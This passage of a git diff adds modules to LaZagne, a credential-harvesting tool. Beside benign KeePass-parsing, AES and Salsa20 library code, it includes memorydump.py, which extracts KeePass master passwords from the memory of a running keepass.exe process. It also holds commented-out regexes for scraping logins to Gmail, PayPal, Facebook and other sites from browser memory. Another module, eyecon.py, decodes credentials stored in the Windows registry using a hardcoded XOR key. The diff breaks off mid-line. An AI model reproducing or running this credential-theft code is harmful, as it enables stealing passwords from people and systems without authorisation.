3000 + >>> print h['rounds'] + 3000 + >>> h['rounds'] = 6000 + >>> print h[4] + 6000 + + It is also possible to get and set data using the field name as an + attribute:: + + >>> h.rounds = 9000 + >>> print h[4] + 9000 + >>> print h.rounds + 9000 + + For some fields it is more comfortable to unpack their byte value into + a numeric or character value (eg. the transformation rounds). For those + fields add a format string to the `fmt` dictionary. Use the field id as + key:: + + >>> h.fmt[4] = '>> h.b.rounds = '\x70\x17\x00\x00\x00\x00\x00\x00' + >>> print h.b.rounds + '\x70\x17\x00\x00\x00\x00\x00\x00' + >>> print h.rounds + 6000 + + The `b` (binary?) attribute is a special way to set and get data in its + packed format, while the usual attribute or dictionary access allows + setting and getting a numeric value:: + + >>> h.rounds = 3000 + >>> print h.b.rounds + '\xb8\x0b\x00\x00\x00\x00\x00\x00' + >>> print h.rounds + 3000 + + """ + fields = {} + fmt = {} + + def __init__(self, *args): + dict.__init__(self, *args) + + def __getitem__(self, key): + if isinstance(key, int): + return dict.__getitem__(self, key) + else: + return dict.__getitem__(self, self.fields[key]) + + def __setitem__(self, key, val): + if isinstance(key, int): + dict.__setitem__(self, key, val) + else: + dict.__setitem__(self, self.fields[key], val) + + def __getattr__(self, key): + class wrap(object): + def __init__(self, d): + object.__setattr__(self, 'd', d) + + def __getitem__(self, key): + fmt = self.d.fmt.get(self.d.fields.get(key, key)) + if fmt: + return struct.pack(fmt, self.d[key]) + else: + return self.d[key] + + __getattr__ = __getitem__ + + def __setitem__(self, key, val): + fmt = self.d.fmt.get(self.d.fields.get(key, key)) + if fmt: + self.d[key] = struct.unpack(fmt, val)[0] + else: + self.d[key] = val + + __setattr__ = __setitem__ + + if key == 'b': + return wrap(self) + try: + return self.__getitem__(key) + except KeyError: + raise AttributeError(key) + + def __setattr__(self, key, val): + try: + return self.__setitem__(key, val) + except KeyError: + return dict.__setattr__(self, key, val) + + +# file baseclass +class KDBFile(object): + def __init__(self, stream=None, **credentials): + # list of hashed credentials (pre-transformation) + self.keys = [] + self.add_credentials(**credentials) + + # the buffer containing the decrypted/decompressed payload from a file + self.in_buffer = None + # the buffer filled with data for writing back to a file before + # encryption/compression + self.out_buffer = None + # position in the `in_buffer` where the payload begins + self.header_length = None + # decryption success flag, set this to true upon verification of the + # encryption masterkey. if this is True `in_buffer` must contain + # clear data. + self.opened = False + + # the raw/basic file handle, expect it to be closed after __init__! + if stream is not None: + if not isinstance(stream, io.IOBase): + raise TypeError('Stream does not have the buffer interface.') + self.read_from(stream) + + def read_from(self, stream): + if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)): + raise TypeError('Stream does not have the buffer interface.') + self._read_header(stream) + self._decrypt(stream) + + def _read_header(self, stream): + raise NotImplementedError('The _read_header method was not ' + 'implemented propertly.') + + def _decrypt(self, stream): + self._make_master_key() + # move read pointer beyond the file header + if self.header_length is None: + raise IOError('Header length unknown. Parse the header first!') + stream.seek(self.header_length) + + def write_to(self, stream): + raise NotImplementedError('The write_to() method was not implemented.') + + def add_credentials(self, **credentials): + if credentials.get('password'): + self.add_key_hash(sha256(credentials['password'])) + if credentials.get('keyfile'): + self.add_key_hash(load_keyfile(credentials['keyfile'])) + + def clear_credentials(self): + """Remove all previously set encryption key hashes.""" + self.keys = [] + + def add_key_hash(self, key_hash): + """ + Add an encryption key hash, can be a hashed password or a hashed + keyfile. Two things are important: must be SHA256 hashes and sequence is + important: first password if any, second key file if any. + """ + if key_hash is not None: + self.keys.append(key_hash) + + def _make_master_key(self): + if len(self.keys) == 0: + raise IndexError('No credentials found.') + + def close(self): + if self.in_buffer: + self.in_buffer.close() + + def read(self, n=-1): + """ + Read the decrypted and uncompressed data after the file header. + For example, in KDB4 this would be plain, utf-8 xml. + + Note that this is the source data for the lxml.objectify element tree + at `self.obj_root`. Any changes made to the parsed element tree will + NOT be reflected in that data stream! Use `self.pretty_print` to get + XML output from the element tree. + """ + if self.in_buffer: + return self.in_buffer.read(n) + + def seek(self, offset, whence=io.SEEK_SET): + if self.in_buffer: + return self.in_buffer.seek(offset, whence) + + def tell(self): + if self.in_buffer: + return self.in_buffer.tell() + + +# loading keyfiles +def load_keyfile(filename): + try: + return load_xml_keyfile(filename) + except Exception: + pass + try: + return load_plain_keyfile(filename) + except Exception: + pass + + +def load_xml_keyfile(filename): + """ + // Sample XML file: + // + // + // + // 1.00 + // + // + // ySFoKuCcJblw8ie6RkMBdVCnAf4EedSch7ItujK6bmI= + // + // + """ + with open(filename, 'r') as f: + # ignore meta, currently there is only version "1.00" + tree = ElementTree.parse(f).getroot() + # read text from key, data and convert from base64 + return base64.b64decode(tree.find('Key/Data').text) + # raise IOError('Could not parse XML keyfile.') + + +def load_plain_keyfile(filename): + """ + A "plain" keyfile is a file containing only the key. + Any other file (JPEG, MP3, ...) can also be used as keyfile. + """ + with open(filename, 'rb') as f: + key = f.read() + # if the length is 32 bytes we assume it is the key + if len(key) == 32: + return key + # if the length is 64 bytes we assume the key is hex encoded + if len(key) == 64: + return codecs.decode(key, 'hex') + # anything else may be a file to hash for the key + return sha256(key) + # raise IOError('Could not read keyfile.') + + +def stream_unpack(stream, offset, length, typecode='I'): + if offset is not None: + stream.seek(offset) + data = stream.read(length) + return struct.unpack('<' + typecode, data)[0] + + +def read_signature(stream): + sig1 = stream_unpack(stream, 0, 4) + sig2 = stream_unpack(stream, None, 4) + # ver_minor = stream_unpack(stream, None, 2, 'h') + # ver_major = stream_unpack(stream, None, 2, 'h') + # return (sig1, sig2, ver_major, ver_minor) + return sig1, sig2 diff --git a/lazagne/softwares/memory/libkeepass/crypto.py b/lazagne/softwares/memory/libkeepass/crypto.py new file mode 100644 index 0000000..0ba9d1f --- /dev/null +++ b/lazagne/softwares/memory/libkeepass/crypto.py @@ -0,0 +1,53 @@ +# -*- coding: utf-8 -*- +import hashlib +import struct + +from lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB, AESModeOfOperationCBC +from lazagne.config.winstructure import char_to_int + +AES_BLOCK_SIZE = 16 + + +def sha256(s): + """Return SHA256 digest of the string `s`.""" + return hashlib.sha256(s).digest() + + +def transform_key(key, seed, rounds): + """Transform `key` with `seed` `rounds` times using AES ECB.""" + # create transform cipher with transform seed + cipher = AESModeOfOperationECB(seed) + # transform composite key rounds times + for n in range(0, rounds): + key = b"".join([cipher.encrypt(key[i:i + AES_BLOCK_SIZE]) for i in range(0, len(key), AES_BLOCK_SIZE)]) + # return hash of transformed key + return sha256(key) + + +def aes_cbc_decrypt(data, key, enc_iv): + """Decrypt and return `data` with AES CBC.""" + cipher = AESModeOfOperationCBC(key, iv=enc_iv) + return b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) + + +def aes_cbc_encrypt(data, key, enc_iv): + cipher = AESModeOfOperationCBC(key, iv=enc_iv) + return b"".join([cipher.encrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) + + +def unpad(data): + extra = char_to_int(data[-1]) + return data[:len(data) - extra] + + +def pad(s): + n = AES_BLOCK_SIZE - len(s) % AES_BLOCK_SIZE + return s + n * struct.pack('b', n) + + +def xor(aa, bb): + """Return a bytearray of a bytewise XOR of `aa` and `bb`.""" + result = bytearray() + for a, b in zip(bytearray(aa), bytearray(bb)): + result.append(a ^ b) + return result diff --git a/lazagne/softwares/memory/libkeepass/hbio.py b/lazagne/softwares/memory/libkeepass/hbio.py new file mode 100644 index 0000000..ade6e96 --- /dev/null +++ b/lazagne/softwares/memory/libkeepass/hbio.py @@ -0,0 +1,114 @@ +# -*- coding: utf-8 -*- +import hashlib +import io +import struct + +# default from KeePass2 source +BLOCK_LENGTH = 1024 * 1024 + +try: + file_types = (file, io.IOBase) +except NameError: + file_types = (io.IOBase,) + +# HEADER_LENGTH = 4+32+4 + +def read_int(stream, length): + try: + return struct.unpack(' 0: + data = block_stream.read(length) + if hashlib.sha256(data).digest() == bhash: + return data + else: + raise IOError('Block hash mismatch error.') + return bytes() + + def write_block_stream(self, stream, block_length=BLOCK_LENGTH): + """ + Write all data in this buffer, starting at stream position 0, formatted + in hashed blocks to the given `stream`. + + For example, writing data from one file into another as hashed blocks:: + + # create new hashed block io without input stream or data + hb = HashedBlockIO() + # read from a file, write into the empty hb + with open('sample.dat', 'rb') as infile: + hb.write(infile.read()) + # write from the hb into a new file + with open('hb_sample.dat', 'w') as outfile: + hb.write_block_stream(outfile) + """ + if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)): + raise TypeError('Stream does not have the buffer interface.') + index = 0 + self.seek(0) + while True: + data = self.read(block_length) + if data: + stream.write(struct.pack('10 is undefined + if field_id not in self.header.fields.values(): + raise IOError('Unknown header field found.') + + # two byte (short) length of field data + length = stream_unpack(stream, None, 2, 'h') + if length > 0: + data = stream_unpack(stream, None, length, '{}s'.format(length)) + self.header.b[field_id] = data + + # set position in data stream of end of header + if field_id == 0: + self.header_length = stream.tell() + break + + # def _write_header(self, stream): + # """Serialize the header fields from self.header into a byte stream, prefix + # with file signature and version before writing header and out-buffer + # to `stream`. + + # Note, that `stream` is flushed, but not closed!""" + # # serialize header to stream + # header = bytearray() + # # write file signature + # header.extend(struct.pack(' len(self._salsa_buffer): + new_salsa = self.salsa.encrypt_bytes(str(bytearray(64))) + self._salsa_buffer.extend(new_salsa) + nacho = self._salsa_buffer[:length] + del self._salsa_buffer[:length] + return nacho + + def _unprotect(self, string): + """ + Base64 decode and XOR the given `string` with the next salsa. + Returns an unprotected string. + """ + tmp = base64.b64decode(string) + return str(xor(tmp, self._get_salsa(len(tmp)))) + + def _protect(self, string): + """ + XORs the given `string` with the next salsa and base64 encodes it. + Returns a protected string. + """ + tmp = str(xor(string, self._get_salsa(len(string)))) + return base64.b64encode(tmp) + + +class KDB4Reader(KDB4File, KDBXmlExtension): + """ + Usually you would want to use the `keepass.open` context manager to open a + file. It checks the file signature and creates a suitable reader-instance. + + doing it by hand is also possible:: + + kdb = keepass.KDB4Reader() + kdb.add_credentials(password='secret') + with open('passwords.kdb', 'rb') as fh: + kdb.read_from(fh) + + or...:: + + with open('passwords.kdb', 'rb') as fh: + kdb = keepass.KDB4Reader(fh, password='secret') + + """ + + def __init__(self, stream=None, **credentials): + KDB4File.__init__(self, stream, **credentials) + + def read_from(self, stream, unprotect=True): + KDB4File.read_from(self, stream) + # the extension requires parsed header and decrypted self.in_buffer, so + # initialize only here + KDBXmlExtension.__init__(self, unprotect) + + # def write_to(self, stream, use_etree=True): + # """ + # Write the KeePass database back to a KeePass2 compatible file. + + # :arg stream: A file-like object or IO buffer. + # :arg use_tree: Serialize the element tree to XML to save (default: + # True), Set to False to write the data currently in the in-buffer + # instead. + # """ + # if use_etree: + # KDBXmlExtension.write_to(self, stream) + # KDB4File.write_to(self, stream) diff --git a/lazagne/softwares/memory/libkeepass/pureSalsa20.py b/lazagne/softwares/memory/libkeepass/pureSalsa20.py new file mode 100644 index 0000000..bc689cc --- /dev/null +++ b/lazagne/softwares/memory/libkeepass/pureSalsa20.py @@ -0,0 +1,353 @@ +#!/usr/bin/env python +# coding: utf-8 + +""" + pureSalsa20.py -- a pure Python implementation of the Salsa20 cipher + ==================================================================== + There are comments here by two authors about three pieces of software: + comments by Larry Bugbee about + Salsa20, the stream cipher by Daniel J. Bernstein + (including comments about the speed of the C version) and + pySalsa20, Bugbee's own Python wrapper for salsa20.c + (including some references), and + comments by Steve Witham about + pureSalsa20, Witham's pure Python 2.5 implementation of Salsa20, + which follows pySalsa20's API, and is in this file. + + Salsa20: a Fast Streaming Cipher (comments by Larry Bugbee) + ----------------------------------------------------------- + + Salsa20 is a fast stream cipher written by Daniel Bernstein + that basically uses a hash function and XOR making for fast + encryption. (Decryption uses the same function.) Salsa20 + is simple and quick. + + Some Salsa20 parameter values... + design strength 128 bits + key length 128 or 256 bits, exactly + IV, aka nonce 64 bits, always + chunk size must be in multiples of 64 bytes + + Salsa20 has two reduced versions, 8 and 12 rounds each. + + One benchmark (10 MB): + 1.5GHz PPC G4 102/97/89 MB/sec for 8/12/20 rounds + AMD Athlon 2500+ 77/67/53 MB/sec for 8/12/20 rounds + (no I/O and before Python GC kicks in) + + Salsa20 is a Phase 3 finalist in the EU eSTREAM competition + and appears to be one of the fastest ciphers. It is well + documented so I will not attempt any injustice here. Please + see "References" below. + + ...and Salsa20 is "free for any use". + + + pySalsa20: a Python wrapper for Salsa20 (Comments by Larry Bugbee) + ------------------------------------------------------------------ + + pySalsa20.py is a simple ctypes Python wrapper. Salsa20 is + as it's name implies, 20 rounds, but there are two reduced + versions, 8 and 12 rounds each. Because the APIs are + identical, pySalsa20 is capable of wrapping all three + versions (number of rounds hardcoded), including a special + version that allows you to set the number of rounds with a + set_rounds() function. Compile the version of your choice + as a shared library (not as a Python extension), name and + install it as libsalsa20.so. + + Sample usage: + from pySalsa20 import Salsa20 + s20 = Salsa20(key, IV) + dataout = s20.encryptBytes(datain) # same for decrypt + + This is EXPERIMENTAL software and intended for educational + purposes only. To make experimentation less cumbersome, + pySalsa20 is also free for any use. + + THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF + ANY KIND. USE AT YOUR OWN RISK. + + Enjoy, + + Larry Bugbee + bugbee@seanet.com + April 2007 + + + References: + ----------- + http://en.wikipedia.org/wiki/Salsa20 + http://en.wikipedia.org/wiki/Daniel_Bernstein + http://cr.yp.to/djb.html + http://www.ecrypt.eu.org/stream/salsa20p3.html + http://www.ecrypt.eu.org/stream/p3ciphers/salsa20/salsa20_p3source.zip + + + Prerequisites for pySalsa20: + ---------------------------- + - Python 2.5 (haven't tested in 2.4) + + + pureSalsa20: Salsa20 in pure Python 2.5 (comments by Steve Witham) + ------------------------------------------------------------------ + + pureSalsa20 is the stand-alone Python code in this file. + It implements the underlying Salsa20 core algorithm + and emulates pySalsa20's Salsa20 class API (minus a bug(*)). + + pureSalsa20 is MUCH slower than libsalsa20.so wrapped with pySalsa20-- + about 1/1000 the speed for Salsa20/20 and 1/500 the speed for Salsa20/8, + when encrypting 64k-byte blocks on my computer. + + pureSalsa20 is for cases where portability is much more important than + speed. I wrote it for use in a "structured" random number generator. + + There are comments about the reasons for this slowness in + http://www.tiac.net/~sw/2010/02/PureSalsa20 + + Sample usage: + from pureSalsa20 import Salsa20 + s20 = Salsa20(key, IV) + dataout = s20.encryptBytes(datain) # same for decrypt + + I took the test code from pySalsa20, added a bunch of tests including + rough speed tests, and moved them into the file testSalsa20.py. + To test both pySalsa20 and pureSalsa20, type + python testSalsa20.py + + (*)The bug (?) in pySalsa20 is this. The rounds variable is global to the + libsalsa20.so library and not switched when switching between instances + of the Salsa20 class. + s1 = Salsa20( key, IV, 20 ) + s2 = Salsa20( key, IV, 8 ) + In this example, + with pySalsa20, both s1 and s2 will do 8 rounds of encryption. + with pureSalsa20, s1 will do 20 rounds and s2 will do 8 rounds. + Perhaps giving each instance its own nRounds variable, which + is passed to the salsa20wordtobyte() function, is insecure. I'm not a + cryptographer. + + pureSalsa20.py and testSalsa20.py are EXPERIMENTAL software and + intended for educational purposes only. To make experimentation less + cumbersome, pureSalsa20.py and testSalsa20.py are free for any use. + + Revisions: + ---------- + p3.2 Fixed bug that initialized the output buffer with plaintext! + Saner ramping of nreps in speed test. + Minor changes and print statements. + p3.1 Took timing variability out of add32() and rot32(). + Made the internals more like pySalsa20/libsalsa . + Put the semicolons back in the main loop! + In encryptBytes(), modify a byte array instead of appending. + Fixed speed calculation bug. + Used subclasses instead of patches in testSalsa20.py . + Added 64k-byte messages to speed test to be fair to pySalsa20. + p3 First version, intended to parallel pySalsa20 version 3. + + More references: + ---------------- + http://www.seanet.com/~bugbee/crypto/salsa20/ [pySalsa20] + http://cr.yp.to/snuffle.html [The original name of Salsa20] + http://cr.yp.to/snuffle/salsafamily-20071225.pdf [ Salsa20 design] + http://www.tiac.net/~sw/2010/02/PureSalsa20 + + THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF + ANY KIND. USE AT YOUR OWN RISK. + + Cheers, + + Steve Witham sw at remove-this tiac dot net + February, 2010 +""" + +from array import array +from struct import Struct +from lazagne.config.winstructure import char_to_int + +little_u64 = Struct("= 2**64" + ctx = self.ctx + ctx[8], ctx[9] = little2_i32.unpack(little_u64.pack(counter)) + + def get_counter(self): + return little_u64.unpack(little2_i32.pack(*self.ctx[8:10]))[0] + + def set_rounds(self, rounds, testing=False): + assert testing or rounds in [8, 12, 20], 'rounds must be 8, 12, 20' + self.rounds = rounds + + def encrypt_bytes(self, data): + assert type(data) == str, 'data must be byte string' + assert self._lastChunk64, 'previous chunk not multiple of 64 bytes' + lendata = len(data) + munged = array('c', '\x00' * lendata) + for i in xrange(0, lendata, 64): + h = salsa20_wordtobyte(self.ctx, self.rounds, check_rounds=False) + self.set_counter((self.get_counter() + 1) % 2 ** 64) + # Stopping at 2^70 bytes per nonce is user's responsibility. + for j in xrange(min(64, lendata - i)): + munged[i + j] = chr(char_to_int(data[i + j]) ^ char_to_int(h[j])) + + self._lastChunk64 = not lendata % 64 + return munged.tostring() + + decrypt_bytes = encrypt_bytes # encrypt and decrypt use same function + + +# -------------------------------------------------------------------------- + +def salsa20_wordtobyte(input, n_rounds=20, check_rounds=True): + """ Do nRounds Salsa20 rounds on a copy of + input: list or tuple of 16 ints treated as little-endian unsigneds. + Returns a 64-byte string. + """ + + assert (type(input) in (list, tuple) and len(input) == 16) + assert (not check_rounds or (n_rounds in [8, 12, 20])) + + x = list(input) + + def XOR(a, b): + return a ^ b + + ROTATE = rot32 + PLUS = add32 + + for i in range(n_rounds / 2): + # These ...XOR...ROTATE...PLUS... lines are from ecrypt-linux.c + # unchanged except for indents and the blank line between rounds: + x[4] = XOR(x[4], ROTATE(PLUS(x[0], x[12]), 7)) + x[8] = XOR(x[8], ROTATE(PLUS(x[4], x[0]), 9)) + x[12] = XOR(x[12], ROTATE(PLUS(x[8], x[4]), 13)) + x[0] = XOR(x[0], ROTATE(PLUS(x[12], x[8]), 18)) + x[9] = XOR(x[9], ROTATE(PLUS(x[5], x[1]), 7)) + x[13] = XOR(x[13], ROTATE(PLUS(x[9], x[5]), 9)) + x[1] = XOR(x[1], ROTATE(PLUS(x[13], x[9]), 13)) + x[5] = XOR(x[5], ROTATE(PLUS(x[1], x[13]), 18)) + x[14] = XOR(x[14], ROTATE(PLUS(x[10], x[6]), 7)) + x[2] = XOR(x[2], ROTATE(PLUS(x[14], x[10]), 9)) + x[6] = XOR(x[6], ROTATE(PLUS(x[2], x[14]), 13)) + x[10] = XOR(x[10], ROTATE(PLUS(x[6], x[2]), 18)) + x[3] = XOR(x[3], ROTATE(PLUS(x[15], x[11]), 7)) + x[7] = XOR(x[7], ROTATE(PLUS(x[3], x[15]), 9)) + x[11] = XOR(x[11], ROTATE(PLUS(x[7], x[3]), 13)) + x[15] = XOR(x[15], ROTATE(PLUS(x[11], x[7]), 18)) + + x[1] = XOR(x[1], ROTATE(PLUS(x[0], x[3]), 7)) + x[2] = XOR(x[2], ROTATE(PLUS(x[1], x[0]), 9)) + x[3] = XOR(x[3], ROTATE(PLUS(x[2], x[1]), 13)) + x[0] = XOR(x[0], ROTATE(PLUS(x[3], x[2]), 18)) + x[6] = XOR(x[6], ROTATE(PLUS(x[5], x[4]), 7)) + x[7] = XOR(x[7], ROTATE(PLUS(x[6], x[5]), 9)) + x[4] = XOR(x[4], ROTATE(PLUS(x[7], x[6]), 13)) + x[5] = XOR(x[5], ROTATE(PLUS(x[4], x[7]), 18)) + x[11] = XOR(x[11], ROTATE(PLUS(x[10], x[9]), 7)) + x[8] = XOR(x[8], ROTATE(PLUS(x[11], x[10]), 9)) + x[9] = XOR(x[9], ROTATE(PLUS(x[8], x[11]), 13)) + x[10] = XOR(x[10], ROTATE(PLUS(x[9], x[8]), 18)) + x[12] = XOR(x[12], ROTATE(PLUS(x[15], x[14]), 7)) + x[13] = XOR(x[13], ROTATE(PLUS(x[12], x[15]), 9)) + x[14] = XOR(x[14], ROTATE(PLUS(x[13], x[12]), 13)) + x[15] = XOR(x[15], ROTATE(PLUS(x[14], x[13]), 18)) + + for i in range(len(input)): + x[i] = PLUS(x[i], input[i]) + return little16_i32.pack(*x) + + +# --------------------------- 32-bit ops ------------------------------- + +def trunc32(w): + """ Return the bottom 32 bits of w as a Python int. + This creates longs temporarily, but returns an int. """ + w = int((w & 0x7fffFFFF) | -(w & 0x80000000)) + assert type(w) == int + return w + + +def add32(a, b): + """ Add two 32-bit words discarding carry above 32nd bit, + and without creating a Python long. + Timing shouldn't vary. + """ + lo = (a & 0xFFFF) + (b & 0xFFFF) + hi = (a >> 16) + (b >> 16) + (lo >> 16) + return (-(hi & 0x8000) | (hi & 0x7FFF)) << 16 | (lo & 0xFFFF) + + +def rot32(w, n_left): + """ Rotate 32-bit word left by nLeft or right by -nLeft + without creating a Python long. + Timing depends on nLeft but not on w. + """ + n_left &= 31 # which makes nLeft >= 0 + if n_left == 0: + return w + + # Note: now 1 <= nLeft <= 31. + # RRRsLLLLLL There are nLeft RRR's, (31-nLeft) LLLLLL's, + # => sLLLLLLRRR and one s which becomes the sign bit. + RRR = (((w >> 1) & 0x7fffFFFF) >> (31 - n_left)) + sLLLLLL = -((1 << (31 - n_left)) & w) | (0x7fffFFFF >> n_left) & w + return RRR | (sLLLLLL << n_left) + +# --------------------------------- end ----------------------------------- diff --git a/lazagne/softwares/memory/memorydump.py b/lazagne/softwares/memory/memorydump.py new file mode 100644 index 0000000..a5502ca --- /dev/null +++ b/lazagne/softwares/memory/memorydump.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# Author: Nicolas VERDIER (contact@n1nj4.eu) + +""" +This script uses memorpy to dumps cleartext passwords from browser's memory +It has been tested on both windows 10 and ubuntu 16.04 +The regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz +""" + +from .keethief import KeeThief +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import constant +from lazagne.config.winstructure import get_full_path_from_pid +from lazagne.config.lib.memorpy import * + + +# Memorpy has been removed because it takes to much time to execute - could return one day + +# create a symbolic link on Windows +# mklink /J memorpy ..\..\..\..\external\memorpy\memorpy + +# password_regex=[ +# "(email|log(in)?|user(name)?)=(?P.{1,25})?&.{0,10}?p[a]?[s]?[s]?[w]?[o]?[r]?[d]?=(?P.{1,25})&" +# ] + +# grep to list all URLs (could be useful to find the relation between a user / password and its host) +# http_regex=[ +# "(?Phttp[s]?:\/\/[a-zA-Z0-9-]{1,61}(\.[a-zA-Z]{2,})+)" +# ] + +# password_regex=[ +# ("Gmail","&Email=(?P.{1,99})?&Passwd=(?P.{1,99})?&PersistentCookie="), +# ("Dropbox","login_email=(?P.{1,99})&login_password=(?P.{1,99})&"), +# ("SalesForce","&display=page&username=(?P.{1,32})&pw=(?P.{1,16})&Login="), +# ("Office365","login=(?P.{1,32})&passwd=(?P.{1,22})&PPSX="), +# ("MicrosoftOneDrive","login=(?P.{1,42})&passwd=(?P.{1,22})&type=.{1,2}&PPFT="), +# ("PayPal","login_email=(?P.{1,48})&login_password=(?P.{1,16})&submit=Log\+In&browser_name"), +# ("awsWebServices","&email=(?P.{1,48})&create=.{1,2}&password=(?P.{1,22})&metadata1="), +# ("OutlookWeb","&username=(?P.{1,48})&password=(?P.{1,48})&passwordText"), +# ("Slack","&crumb=.{1,70}&email=(?P.{1,50})&password=(?P.{1,48})"), +# ("CitrixOnline","emailAddress=(?P.{1,50})&password=(?P.{1,50})&submit"), +# ("Xero ","fragment=&userName=(?P.{1,32})&password=(?P.{1,22})&__RequestVerificationToken="), +# ("MYOB","UserName=(?P.{1,50})&Password=(?P.{1,50})&RememberMe="), +# ("JuniperSSLVPN","tz_offset=-.{1,6}&username=(?P.{1,22})&password=(?P.{1,22})&realm=.{1,22}&btnSubmit="), +# ("Twitter","username_or_email%5D=(?P.{1,42})&session%5Bpassword%5D=(?P.{1,22})&remember_me="), +# ("Facebook","lsd=.{1,10}&email=(?P.{1,42})&pass=(?P.{1,22})&(?:default_)?persistent="), +# ("LinkedIN","session_key=(?P.{1,50})&session_password=(?P.{1,50})&isJsEnabled"), +# ("Malwr","&username=(?P.{1,32})&password=(?P.{1,22})&next="), +# ("VirusTotal","password=(?P.{1,22})&username=(?P.{1,42})&next=%2Fen%2F&response_format=json"), +# ("AnubisLabs","username=(?P.{1,42})&password=(?P.{1,22})&login=login"), +# ("CitrixNetScaler","login=(?P.{1,22})&passwd=(?P.{1,42})"), +# ("RDPWeb","DomainUserName=(?P.{1,52})&UserPass=(?P.{1,42})&MachineType"), +# ("JIRA","username=(?P.{1,50})&password=(?P.{1,50})&rememberMe"), +# ("Redmine","username=(?P.{1,50})&password=(?P.{1,50})&login=Login"), +# ("Github","%3D%3D&login=(?P.{1,50})&password=(?P.{1,50})"), +# ("BugZilla","Bugzilla_login=(?P.{1,50})&Bugzilla_password=(?P.{1,50})"), +# ("Zendesk","user%5Bemail%5D=(?P.{1,50})&user%5Bpassword%5D=(?P.{1,50})"), +# ("Cpanel","user=(?P.{1,50})&pass=(?P.{1,50})"), +# ] + +browser_list = ["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"] +keepass_process = 'keepass.exe' + + +class MemoryDump(ModuleInfo): + def __init__(self): + options = {'command': '-m', 'action': 'store_true', 'dest': 'memory_dump', + 'help': 'retrieve browsers passwords from memory'} + ModuleInfo.__init__(self, 'memory_dump', 'memory', options) + + def run(self): + pwd_found = [] + for process in Process.list(): + # if not memorpy: + # if process.get('name', '').lower() in browser_list: + # # Get only child process + # try: + # p = psutil.Process(process.get('pid')) + # if p.parent(): + # if process.get('name', '').lower() != str(p.parent().name().lower()): + # continue + # except: + # continue + # + # try: + # mw = MemWorker(pid=process.get('pid')) + # except ProcessException: + # continue + # + # self.debug(u'dumping passwords from %s (pid: %s) ...' % (process.get('name', ''), + # str(process.get('pid', '')))) + # for _, x in mw.mem_search(password_regex, ftype='groups'): + # login, password = x[-2:] + # pwd_found.append( + # { + # 'URL' : 'Unknown', + # 'Login' : login, + # 'Password' : password + # } + # ) + + if keepass_process in process.get('name', '').lower(): + full_exe_path = get_full_path_from_pid(process.get('pid')) + k = KeeThief() + if k.run(full_exe_path=full_exe_path): + for keepass in constant.keepass: + data = keepass.get('KcpPassword', None) + if data: + pwd_found.append({ + 'Category': 'KeePass', + 'KeyType': data['KeyType'], + 'Login': data['Database'], + 'Password': data['Password'] + }) + + return pwd_found diff --git a/lazagne/softwares/multimedia/__init__.py b/lazagne/softwares/multimedia/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/multimedia/eyecon.py b/lazagne/softwares/multimedia/eyecon.py new file mode 100644 index 0000000..eb0c143 --- /dev/null +++ b/lazagne/softwares/multimedia/eyecon.py @@ -0,0 +1,98 @@ +# -*- coding: utf-8 -*- +import codecs + +try: + import _winreg as winreg +except ImportError: + import winreg + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import * + + +class EyeCON(ModuleInfo): + """ + eyeCON software WAll management software + infos at http://www.eyevis.de/en/products/wall-management-software.html + """ + def __init__(self): + self.hex_key = [ 35, 231, 64, 111, 100, 72, 95, 65, 68, 51, 52, 70, 67, 51, 65, 95, 54, 55, 50, 48, 95, 49, 49, + 68, 54, 95, 65, 48, 53, 50, 95, 48, 48, 48, 52, 55, 54, 65, 48, 70, 66, 53, 66, 65, 70, 88, 95, 76, 79, 71, + 73, 49, 76, 115, 107, 100, 85, 108, 107, 106, 102, 100, 109, 32, 50, 102, 115, 100, 102, 102, 32, 102, 119, + 115, 38, 78, 68, 76, 76, 95, 72, 95, 95, 0 ] + ModuleInfo.__init__(self, name='EyeCon', category='multimedia') + + def deobfuscate(self, ciphered_str): + return b''.join([chr_or_byte(char_to_int(c) ^ k) for c, k in zip(codecs.decode(ciphered_str, 'hex'), self.hex_key)]) + + def get_db_hosts(self): + hosts = [] + paths = ( + ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\WOW6432Node\\eyevis\\eyeDB', 'DB1'), + ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\WOW6432Node\\eyevis\\eyeDB', 'DB2'), + ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\WOW6432Node\\eyevis\\eyeDB', 'DB3'), + ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\eyevis\\eyeDB', 'DB1'), + ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\eyevis\\eyeDB', 'DB2'), + ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\eyevis\\eyeDB', 'DB3'), + ) + for path in paths: + try: + hkey = OpenKey(path[1], path[2]) + reg_key = winreg.QueryValueEx(hkey, path[3])[0] + if reg_key: + hosts += [reg_key] + except Exception: + # skipping if value doesn't exist + # self.debug(u'Problems with key:: {reg_key}'.format(reg_key=path[1]+path[2])) + pass + return hosts + + def credentials_from_registry(self): + found_passwords = [] + password_path = ( + { + 'app': 'EyeCON', 'reg_root': HKEY_LOCAL_MACHINE, + 'reg_path': 'SOFTWARE\\WOW6432Node\\eyevis\\eyetool\\Default', + 'user_key': 'registered', 'password_key': 'connection' + }, + { + 'app': 'EyeCON', 'reg_root': HKEY_LOCAL_MACHINE, + 'reg_path': 'SOFTWARE\\eyevis\\eyetool\\Default', + 'user_key': 'registered', 'password_key': 'connection' + }, + ) + + for path in password_path: + values = {} + try: + try: + hkey = OpenKey(path['reg_root'], path['reg_path']) + reg_user_key = winreg.QueryValueEx(hkey, path['user_key'])[0] + reg_password_key = 